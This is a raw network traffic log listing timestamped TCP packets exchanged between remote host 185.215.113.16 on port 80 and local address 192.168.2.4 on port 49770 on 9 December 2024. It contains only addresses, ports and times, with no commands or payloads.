Dec 9, 2024 23:09:12.112679958 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.112723112 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.112751007 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.112803936 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.113656998 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.113708019 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.113768101 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.113814116 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.114733934 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.114779949 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.114847898 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.114890099 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.115813971 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.115861893 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.115892887 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.115938902 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.116930962 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.116980076 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.117046118 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.117110014 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.117993116 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.118086100 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.130855083 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.130992889 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.131057024 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.131391048 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.131444931 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.131474972 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.131485939 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.132447958 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.132553101 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.132595062 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.133537054 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.133639097 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.133656025 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.133702993 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.134694099 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.134754896 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.134804010 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.135710955 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.135756969 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.135955095 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.136859894 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.136914015 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.136945009 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.136990070 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.137870073 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.137934923 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.137969017 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.138006926 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.138953924 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.139018059 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.139077902 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.139134884 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.140088081 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.140152931 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.140192986 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.141165972 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.141236067 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.141252041 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.141292095 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.142215014 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.142267942 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.142323017 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.142370939 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.143357992 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.143457890 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.143510103 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.144404888 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.144536972 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.144591093 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.145463943 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.145515919 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.145585060 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.145626068 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.146596909 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.146678925 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.146704912 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.146742105 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.147655010 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.147711039 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.147758961 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.147813082 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.148780107 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.148828983 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.148855925 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.148897886 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.149835110 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.149876118 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.149947882 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.150888920 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.150950909 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.150981903 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.151022911 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.151977062 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.152101040 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.152148008 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.153107882 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.153176069 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.153187037 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.153223038 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.154145956 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.154211044 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.154253960 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.154316902 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.155250072 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.155361891 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.155366898 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.155405998 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.156330109 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.156421900 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.156472921 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.157448053 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.157495975 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.157521963 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.157562017 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.158473015 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.158514023 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.158644915 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.158687115 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.159574032 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.159624100 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.159687996 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.159732103 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.160634995 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.160794973 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.160839081 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.161735058 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.161784887 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.161833048 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.161917925 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.162811041 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.162878990 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.162909985 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.162946939 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.163933039 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.163980961 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.164011002 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.164098978 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.165014982 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.165184975 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.165226936 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.166073084 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.166115999 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.166228056 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.166269064 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.167144060 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.167196035 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.167213917 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.167257071 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.168236971 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.168282986 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.168345928 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.168390036 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.169327974 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.169425964 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.169426918 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.169457912 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.170424938 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.170469999 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.170507908 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.170578957 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.171528101 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.171616077 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.171663046 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.172591925 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.172708988 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.172758102 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.173698902 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.173741102 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.173815012 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.173860073 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.174778938 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.174854994 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.174874067 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.174945116 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.175851107 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.175896883 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.175964117 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.176016092 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.176959991 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.177057028 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.177103043 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.178016901 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.178078890 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.178111076 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.178157091 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.179102898 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.179146051 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.179322004 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.179366112 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.180181980 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.180234909 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.306880951 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.306934118 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.306962013 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.307008982 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.307533026 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.307575941 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.307600975 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.307643890 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.308489084 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.308537006 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.308615923 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.308696032 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.309606075 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.309654951 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.309685946 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.309730053 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.310779095 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.310798883 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.310827017 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.310849905 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.311777115 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.311829090 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.311961889 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.312009096 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.312834024 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.312853098 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.312884092 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.312896013 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.323061943 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.323178053 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.323293924 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.323601961 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.323653936 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.323673964 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.323715925 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.324647903 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.324703932 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.325063944 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.325114012 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.325149059 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.325195074 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.326108932 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.326159000 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.326194048 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.326241970 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.327198029 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.327246904 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.327353001 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.327400923 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.328408957 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.328455925 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.328519106 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.328562021 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.329387903 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.329440117 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.329473972 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.329519987 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.330435038 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.330480099 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.330503941 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.330545902 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.331537008 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.331583977 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.331659079 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.331705093 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.332617998 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.332664013 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.332731962 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.332777977 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.333718061 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.333761930 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.333797932 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.333853006 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.334785938 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.334831953 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.334901094 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.334950924 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.335928917 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.335977077 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.336050034 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.336093903 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.336966991 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.337012053 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.337089062 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.337135077 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.338038921 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.338085890 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.338130951 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.338177919 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.339193106 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.339248896 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.339260101 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.339291096 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.340238094 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.340291977 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.340359926 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.340404034 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.341295958 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.341337919 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.341403961 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.341450930 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.342431068 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.342492104 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.342519045 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.342565060 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.343522072 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.343569994 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.343604088 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.343652010 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.344559908 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.344611883 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.344683886 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.344729900 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.345634937 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.345681906 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.345733881 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.345779896 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.346720934 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.346762896 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.346770048 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.346802950 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.347800970 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.347845078 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.347939968 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.347994089 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.348918915 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.348965883 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.349040985 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.349088907 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.349970102 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.350028992 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.350033998 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.350070000 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.351097107 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.351145029 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.351228952 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.351275921 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.352201939 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.352247953 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.352257967 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.352303028 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.353230953 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.353276014 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.353368044 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.353415966 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.354334116 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.354378939 CET	49770	80	192.168.2.4	185.215.113.16
